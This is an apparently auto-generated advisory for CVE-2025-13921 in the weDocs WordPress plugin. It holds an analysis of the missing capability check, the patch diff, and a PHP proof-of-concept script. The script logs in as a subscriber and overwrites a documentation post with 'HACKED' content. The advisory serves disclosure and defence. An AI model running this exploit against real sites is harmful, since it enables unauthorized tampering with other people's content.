Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13921: weDocs <= 2.1.16 – Missing Authorization to Authenticated (Subscriber+) Documentation Post Update (wedocs)

Plugin wedocs
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.1.16
Patched Version 2.1.17
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13921:
This vulnerability is a missing authorization flaw in the weDocs WordPress plugin. It allows authenticated users with Subscriber-level permissions or higher to edit any documentation post. The vulnerability affects all plugin versions up to and including 2.1.16, with a CVSS score of 4.3 (Medium severity).

The root cause is the ‘wedocs_user_documentation_handling_capabilities’ function’s missing capability check. The vulnerability originates from the V_2_0_2.php upgrade handler (lines 91-117 in the diff). This handler incorrectly granted documentation editing capabilities to all WordPress roles, including Subscriber, Contributor, and Author. The function ‘add_documentation_handling_capabilities’ assigned seven capabilities (‘edit_post’, ‘edit_docs’, ‘publish_docs’, ‘edit_others_docs’, ‘read_private_docs’, ‘edit_private_docs’, ‘edit_published_docs’) to every role without restriction.

Exploitation requires an authenticated attacker with any WordPress user account. The attacker can send POST requests to WordPress’s standard post editing endpoints (such as wp-admin/post.php) with parameters targeting weDocs documentation posts. The attack vector uses the standard WordPress editing interface, which now incorrectly permits low-privileged users to modify documentation content due to the excessive capabilities granted by the plugin.

The patch introduces a new upgrade handler class V_2_1_17.php that calls ‘wedocs_user_documentation_handling_capabilities’. This centralized function properly restricts documentation capabilities to only Administrator and Editor roles. The V_2_0_2.php file was modified to call the same centralized function instead of directly granting capabilities. The upgrade framework was also fixed to ensure the V_2_1_17 handler always executes, addressing a logic flaw in UpgradeHandler.php where ‘next()’ was only called when an upgrade was needed.

Successful exploitation enables unauthorized data modification. Attackers can alter, delete, or publish documentation posts, potentially defacing knowledge bases, inserting malicious content, or deleting critical documentation. This violates integrity and availability of the documentation system, though it does not directly enable privilege escalation beyond the weDocs content scope.

Differential between vulnerable and patched code

Code Diff
--- a/wedocs/includes/Upgrader/Abstracts/UpgradeHandler.php
+++ b/wedocs/includes/Upgrader/Abstracts/UpgradeHandler.php
@@ -44,8 +44,11 @@
         if ( $need_upgrade ) {
             $this->handle_upgrade();
             update_option( 'wedocs_version', $this->version );
-            $this->next();
         }
+
+        // Always call next() to continue the upgrade chain,
+        // even if this upgrade didn't need to run
+        $this->next();
     }

     /**
--- a/wedocs/includes/Upgrader/Upgrades/Upgrades.php
+++ b/wedocs/includes/Upgrader/Upgrades/Upgrades.php
@@ -11,7 +11,10 @@
      *
      * @since 2.0.2
      */
-    public $class_list = array( '2.0.2' => V_2_0_2::class );
+    public $class_list = array(
+        '2.0.2'  => V_2_0_2::class,
+        '2.1.17' => V_2_1_17::class,
+    );

     /**
      * Get wedocs installed version number.
--- a/wedocs/includes/Upgrader/Upgrades/V_2_0_2.php
+++ b/wedocs/includes/Upgrader/Upgrades/V_2_0_2.php
@@ -91,28 +91,7 @@
      * @return void
      */
     private function add_documentation_handling_capabilities() {
-        global $wp_roles;
-
-        if ( class_exists( 'WP_Roles' ) && ! isset( $wp_roles ) ) {
-            $wp_roles = new WP_Roles(); // @codingStandardsIgnoreLine
-        }
-
-        $roles        = $wp_roles->get_names();
-        $capabilities = array(
-            'edit_post',
-            'edit_docs',
-            'publish_docs',
-            'edit_others_docs',
-            'read_private_docs',
-            'edit_private_docs',
-            'edit_published_docs'
-        );
-
-        // Push documentation handling access to users.
-        foreach ( $capabilities as $capability ) {
-            foreach ( $roles as $role_key => $role ) {
-                $wp_roles->add_cap( $role_key, $capability );
-            }
-        }
+        // Use the centralized function that restricts capabilities to administrator and editor only.
+        wedocs_user_documentation_handling_capabilities();
     }
 }
--- a/wedocs/includes/Upgrader/Upgrades/V_2_1_17.php
+++ b/wedocs/includes/Upgrader/Upgrades/V_2_1_17.php
@@ -0,0 +1,48 @@
+<?php
+
+namespace WeDevsWeDocsUpgraderUpgrades;
+
+use WeDevsWeDocsUpgraderAbstractsUpgradeHandler;
+
+/**
+ * Upgrade handler for version 2.1.17.
+ *
+ * Security fix: Remove documentation editing capabilities from unauthorized roles.
+ */
+class V_2_1_17 extends UpgradeHandler {
+
+    /**
+     * Upgrade version.
+     *
+     * @since 2.1.17
+     *
+     * @var string
+     */
+    protected $version = '2.1.17';
+
+    /**
+     * Upgrade necessary data in database.
+     *
+     * @since 2.1.17
+     *
+     * @return void
+     */
+    public function handle_upgrade() {
+        $this->fix_documentation_capabilities();
+    }
+
+    /**
+     * Fix documentation handling capabilities.
+     *
+     * Removes editing capabilities from unauthorized roles (Subscriber, Contributor, Author)
+     * that were incorrectly granted in previous versions. Only Administrator and Editor
+     * should have documentation editing capabilities.
+     *
+     * @since 2.1.17
+     *
+     * @return void
+     */
+    private function fix_documentation_capabilities() {
+        wedocs_user_documentation_handling_capabilities();
+    }
+}
--- a/wedocs/vendor/autoload.php
+++ b/wedocs/vendor/autoload.php
@@ -4,4 +4,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInita5217d61fa6434ba2fea633864271676::getLoader();
+return ComposerAutoloaderInite532af9dea4f886b1976a7c707e31000::getLoader();
--- a/wedocs/vendor/composer/autoload_classmap.php
+++ b/wedocs/vendor/composer/autoload_classmap.php
@@ -34,6 +34,7 @@
     'WeDevs\WeDocs\Upgrader\Upgrader' => $baseDir . '/includes/Upgrader/Upgrader.php',
     'WeDevs\WeDocs\Upgrader\Upgrades\Upgrades' => $baseDir . '/includes/Upgrader/Upgrades/Upgrades.php',
     'WeDevs\WeDocs\Upgrader\Upgrades\V_2_0_2' => $baseDir . '/includes/Upgrader/Upgrades/V_2_0_2.php',
+    'WeDevs\WeDocs\Upgrader\Upgrades\V_2_1_17' => $baseDir . '/includes/Upgrader/Upgrades/V_2_1_17.php',
     'WeDevs\WeDocs\Walker' => $baseDir . '/includes/Walker.php',
     'WeDevs\WeDocs\Widget' => $baseDir . '/includes/Widget.php',
 );
--- a/wedocs/vendor/composer/autoload_real.php
+++ b/wedocs/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInita5217d61fa6434ba2fea633864271676
+class ComposerAutoloaderInite532af9dea4f886b1976a7c707e31000
 {
     private static $loader;

@@ -24,15 +24,15 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInita5217d61fa6434ba2fea633864271676', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInite532af9dea4f886b1976a7c707e31000', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
-        spl_autoload_unregister(array('ComposerAutoloaderInita5217d61fa6434ba2fea633864271676', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInite532af9dea4f886b1976a7c707e31000', 'loadClassLoader'));

         $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
         if ($useStaticLoader) {
             require __DIR__ . '/autoload_static.php';

-            call_user_func(ComposerAutoloadComposerStaticInita5217d61fa6434ba2fea633864271676::getInitializer($loader));
+            call_user_func(ComposerAutoloadComposerStaticInite532af9dea4f886b1976a7c707e31000::getInitializer($loader));
         } else {
             $map = require __DIR__ . '/autoload_namespaces.php';
             foreach ($map as $namespace => $path) {
@@ -53,12 +53,12 @@
         $loader->register(true);

         if ($useStaticLoader) {
-            $includeFiles = ComposerAutoloadComposerStaticInita5217d61fa6434ba2fea633864271676::$files;
+            $includeFiles = ComposerAutoloadComposerStaticInite532af9dea4f886b1976a7c707e31000::$files;
         } else {
             $includeFiles = require __DIR__ . '/autoload_files.php';
         }
         foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequirea5217d61fa6434ba2fea633864271676($fileIdentifier, $file);
+            composerRequiree532af9dea4f886b1976a7c707e31000($fileIdentifier, $file);
         }

         return $loader;
@@ -70,7 +70,7 @@
  * @param string $file
  * @return void
  */
-function composerRequirea5217d61fa6434ba2fea633864271676($fileIdentifier, $file)
+function composerRequiree532af9dea4f886b1976a7c707e31000($fileIdentifier, $file)
 {
     if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
         $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wedocs/vendor/composer/autoload_static.php
+++ b/wedocs/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInita5217d61fa6434ba2fea633864271676
+class ComposerStaticInite532af9dea4f886b1976a7c707e31000
 {
     public static $files = array (
         'bc33bdda64b68124ebec25fc6f289c9e' => __DIR__ . '/../..' . '/includes/functions.php',
@@ -53,6 +53,7 @@
         'WeDevs\WeDocs\Upgrader\Upgrader' => __DIR__ . '/../..' . '/includes/Upgrader/Upgrader.php',
         'WeDevs\WeDocs\Upgrader\Upgrades\Upgrades' => __DIR__ . '/../..' . '/includes/Upgrader/Upgrades/Upgrades.php',
         'WeDevs\WeDocs\Upgrader\Upgrades\V_2_0_2' => __DIR__ . '/../..' . '/includes/Upgrader/Upgrades/V_2_0_2.php',
+        'WeDevs\WeDocs\Upgrader\Upgrades\V_2_1_17' => __DIR__ . '/../..' . '/includes/Upgrader/Upgrades/V_2_1_17.php',
         'WeDevs\WeDocs\Walker' => __DIR__ . '/../..' . '/includes/Walker.php',
         'WeDevs\WeDocs\Widget' => __DIR__ . '/../..' . '/includes/Widget.php',
     );
@@ -60,9 +61,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInita5217d61fa6434ba2fea633864271676::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInita5217d61fa6434ba2fea633864271676::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInita5217d61fa6434ba2fea633864271676::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInite532af9dea4f886b1976a7c707e31000::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInite532af9dea4f886b1976a7c707e31000::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInite532af9dea4f886b1976a7c707e31000::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wedocs/wedocs.php
+++ b/wedocs/wedocs.php
@@ -3,7 +3,7 @@
 Plugin Name: weDocs
 Plugin URI: https://wedocs.co/
 Description: A documentation plugin for WordPress
-Version: 2.1.16
+Version: 2.1.17
 Author: weDevs
 Author URI: https://wedocs.co/?utm_source=wporg&utm_medium=banner&utm_campaign=author-uri
 License: GPL2
@@ -61,7 +61,7 @@
      *
      * @var string
      */
-    const VERSION = '2.1.16';
+    const VERSION = '2.1.17';

     /**
      * The plugin url.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13921 - weDocs <= 2.1.16 - Missing Authorization to Authenticated (Subscriber+) Documentation Post Update
<?php

$target_url = 'http://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_13921');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);

// Step 2: Get a weDocs post ID to edit
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/edit.php?post_type=docs',
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
]);
$response = curl_exec($ch);

// Parse first docs post ID from response (simplified - in reality would need proper parsing)
preg_match('/post=([0-9]+)&action=edit/', $response, $matches);
$post_id = $matches[1] ?? 0;

if ($post_id) {
    // Step 3: Attempt to edit the documentation post
    $edit_url = $target_url . '/wp-admin/post.php';
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $edit_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'post_ID' => $post_id,
            'action' => 'editpost',
            'post_type' => 'docs',
            'post_title' => 'HACKED by Subscriber - ' . time(),
            'content' => 'This documentation was modified by a Subscriber user due to CVE-2025-13921.',
            'post_status' => 'publish',
            'save' => 'Update'
        ]),
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
    ]);
    $response = curl_exec($ch);
    
    if (strpos($response, 'Post updated.') !== false) {
        echo "SUCCESS: Documentation post $post_id was modified by Subscriber user.n";
    } else {
        echo "FAILED: Could not modify post $post_id.n";
    }
} else {
    echo "ERROR: Could not find a weDocs post to edit.n";
}

unlink($cookie_file);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School